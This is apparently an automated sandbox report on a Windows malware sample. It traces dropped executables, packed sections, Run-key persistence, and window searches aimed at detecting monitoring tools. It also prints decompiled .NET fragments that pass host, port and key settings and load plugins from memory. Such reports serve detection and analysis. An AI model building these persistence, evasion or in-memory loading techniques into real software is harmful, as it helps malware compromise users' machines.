Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: XC.lnk.17.dr LNK file: ..\..\..\..\..\..\..\XC.exe
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 3045376 > 1048576
Source: file.exe Static PE information: Raw size of kubijqss is bigger than: 0x100000 < 0x2bbe00
Source: Binary string: my_library.pdbU source: 0322d7d8d5.exe, 00000013.00000003.2395851791.000000000538B000.00000004.00001000.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2454730421.0000000000BEC000.00000040.00000001.01000000.00000010.sdmp, num.exe, 00000028.00000000.2521635017.00000000005AC000.00000008.00000001.01000000.00000019.sdmp
Source: Binary string: my_library.pdb source: 0322d7d8d5.exe, 00000013.00000003.2395851791.000000000538B000.00000004.00001000.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2454730421.0000000000BEC000.00000040.00000001.01000000.00000010.sdmp, num.exe, 00000028.00000000.2521635017.00000000005AC000.00000008.00000001.01000000.00000019.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe, 0000000A.00000002.1636473890.0000000000D42000.00000040.00000001.01000000.00000006.sdmp, P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe, 0000000A.00000003.1501462912.0000000004D60000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Unpacked PE file: 10.2.P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.d40000.0.unpack :EW;.rsrc:W;.idata :W;oimepmcn:EW;osflzgjq:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Unpacked PE file: 11.2.OXQ7QUWHYS3G7KHDRA2.exe.510000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vbrribkg:EW;qbhaoqab:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vbrribkg:EW;qbhaoqab:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 12.2.skotes.exe.560000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vbrribkg:EW;qbhaoqab:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vbrribkg:EW;qbhaoqab:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 15.2.skotes.exe.560000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vbrribkg:EW;qbhaoqab:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vbrribkg:EW;qbhaoqab:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Unpacked PE file: 18.2.44f3ff7773.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W;kubijqss:EW;kqeqmgvz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kubijqss:EW;kqeqmgvz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Unpacked PE file: 19.2.0322d7d8d5.exe.bc0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;eqnrkxus:EW;upizgxhc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;eqnrkxus:EW;upizgxhc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Unpacked PE file: 37.2.44f3ff7773.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W;kubijqss:EW;kqeqmgvz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kubijqss:EW;kqeqmgvz:EW;.taggant:EW;
.NET source code contains method to dynamically call methods (often used by packers)
Source: XC[1].exe.15.dr, Messages.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XC[1].exe.15.dr, Messages.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XC.exe.15.dr, Messages.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XC.exe.15.dr, Messages.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XC.exe.17.dr, Messages.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XC.exe.17.dr, Messages.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
.NET source code contains potential unpacker
Source: XC[1].exe.15.dr, Messages.cs .Net Code: Plugin System.AppDomain.Load(byte[])
Source: XC[1].exe.15.dr, Messages.cs .Net Code: Memory System.AppDomain.Load(byte[])
Source: XC[1].exe.15.dr, Messages.cs .Net Code: Memory
Source: XC.exe.15.dr, Messages.cs .Net Code: Plugin System.AppDomain.Load(byte[])
Source: XC.exe.15.dr, Messages.cs .Net Code: Memory System.AppDomain.Load(byte[])
Source: XC.exe.15.dr, Messages.cs .Net Code: Memory
Source: XC.exe.17.dr, Messages.cs .Net Code: Plugin System.AppDomain.Load(byte[])
Source: XC.exe.17.dr, Messages.cs .Net Code: Memory System.AppDomain.Load(byte[])
Source: XC.exe.17.dr, Messages.cs .Net Code: Memory
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: real checksum: 0x2b54b5 should be: 0x2b0833
Source: num[1].exe.15.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.15.dr Static PE information: real checksum: 0x21808e should be: 0x211e5a
Source: num.exe.15.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: skotes.exe.11.dr Static PE information: real checksum: 0x1d1b30 should be: 0x1d4926
Source: random[1].exe1.15.dr Static PE information: real checksum: 0x2ebd40 should be: 0x2f6442
Source: XC.exe.15.dr Static PE information: real checksum: 0x0 should be: 0xeb52
Source: 44f3ff7773.exe.15.dr Static PE information: real checksum: 0x2ebd40 should be: 0x2f6442
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: real checksum: 0x1d1b30 should be: 0x1d4926
Source: 0322d7d8d5.exe.15.dr Static PE information: real checksum: 0x21808e should be: 0x211e5a
Source: XC[1].exe.15.dr Static PE information: real checksum: 0x0 should be: 0xeb52
Source: file.exe Static PE information: real checksum: 0x2ebd40 should be: 0x2f6442
Source: XC.exe.17.dr Static PE information: real checksum: 0x0 should be: 0xeb52
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: kubijqss
Source: file.exe Static PE information: section name: kqeqmgvz
Source: file.exe Static PE information: section name: .taggant
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: section name:
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: section name: .idata
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: section name: oimepmcn
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: section name: osflzgjq
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: section name: .taggant
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name:
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name: .idata
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name:
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name: vbrribkg
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name: qbhaoqab
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name: .taggant
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: .idata
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: vbrribkg
Source: skotes.exe.11.dr Static PE information: section name: qbhaoqab
Source: skotes.exe.11.dr Static PE information: section name: .taggant
Source: random[1].exe.15.dr Static PE information: section name:
Source: random[1].exe.15.dr Static PE information: section name: .rsrc
Source: random[1].exe.15.dr Static PE information: section name: .idata
Source: random[1].exe.15.dr Static PE information: section name:
Source: random[1].exe.15.dr Static PE information: section name: eqnrkxus
Source: random[1].exe.15.dr Static PE information: section name: upizgxhc
Source: random[1].exe.15.dr Static PE information: section name: .taggant
Source: 0322d7d8d5.exe.15.dr Static PE information: section name:
Source: 0322d7d8d5.exe.15.dr Static PE information: section name: .rsrc
Source: 0322d7d8d5.exe.15.dr Static PE information: section name: .idata
Source: 0322d7d8d5.exe.15.dr Static PE information: section name:
Source: 0322d7d8d5.exe.15.dr Static PE information: section name: eqnrkxus
Source: 0322d7d8d5.exe.15.dr Static PE information: section name: upizgxhc
Source: 0322d7d8d5.exe.15.dr Static PE information: section name: .taggant
Source: random[1].exe1.15.dr Static PE information: section name:
Source: random[1].exe1.15.dr Static PE information: section name: .idata
Source: random[1].exe1.15.dr Static PE information: section name: kubijqss
Source: random[1].exe1.15.dr Static PE information: section name: kqeqmgvz
Source: random[1].exe1.15.dr Static PE information: section name: .taggant
Source: 44f3ff7773.exe.15.dr Static PE information: section name:
Source: 44f3ff7773.exe.15.dr Static PE information: section name: .idata
Source: 44f3ff7773.exe.15.dr Static PE information: section name: kubijqss
Source: 44f3ff7773.exe.15.dr Static PE information: section name: kqeqmgvz
Source: 44f3ff7773.exe.15.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FC7FF push ebp; iretd 4_3_014FC800
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FE004 push edi; retf 4_3_014FE020
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FD904 pushad ; ret 4_3_014FDA0D
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FFF1E pushad ; ret 4_3_014FFF8D
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FFA18 push eax; ret 4_3_014FFA85
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FC130 push eax; iretw 4_3_014FC6FC
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FC7FF push ebp; iretd 4_3_014FC800
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FE004 push edi; retf 4_3_014FE020
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FD904 pushad ; ret 4_3_014FDA0D
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FFF1E pushad ; ret 4_3_014FFF8D
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FFA18 push eax; ret 4_3_014FFA85
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_014FC130 push eax; iretw 4_3_014FC6FC
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: C:\Users\user\Desktop\file.exe Code function: 4_3_0150485B push 79754950h; ret 4_3_01504860
Source: file.exe Static PE information: section name: entropy: 7.979842494896103
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe.4.dr Static PE information: section name: entropy: 7.804895980039283
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name: entropy: 7.987006986175239
Source: OXQ7QUWHYS3G7KHDRA2.exe.4.dr Static PE information: section name: vbrribkg entropy: 7.954522295383446
Source: skotes.exe.11.dr Static PE information: section name: entropy: 7.987006986175239
Source: skotes.exe.11.dr Static PE information: section name: vbrribkg entropy: 7.954522295383446
Source: random[1].exe.15.dr Static PE information: section name: eqnrkxus entropy: 7.953335707487061
Source: 0322d7d8d5.exe.15.dr Static PE information: section name: eqnrkxus entropy: 7.953335707487061
Source: random[1].exe1.15.dr Static PE information: section name: entropy: 7.979842494896103
Source: 44f3ff7773.exe.15.dr Static PE information: section name: entropy: 7.979842494896103
Drops PE files
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe File created: C:\Users\user\XC.exe Jump to dropped file
Drops PE files to the user directory
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe File created: C:\Users\user\XC.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XC Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44f3ff7773.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de31db656f.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0322d7d8d5.exe Jump to behavior
Drops PE files to the user root directory
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe File created: C:\Users\user\XC.exe Jump to dropped file
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
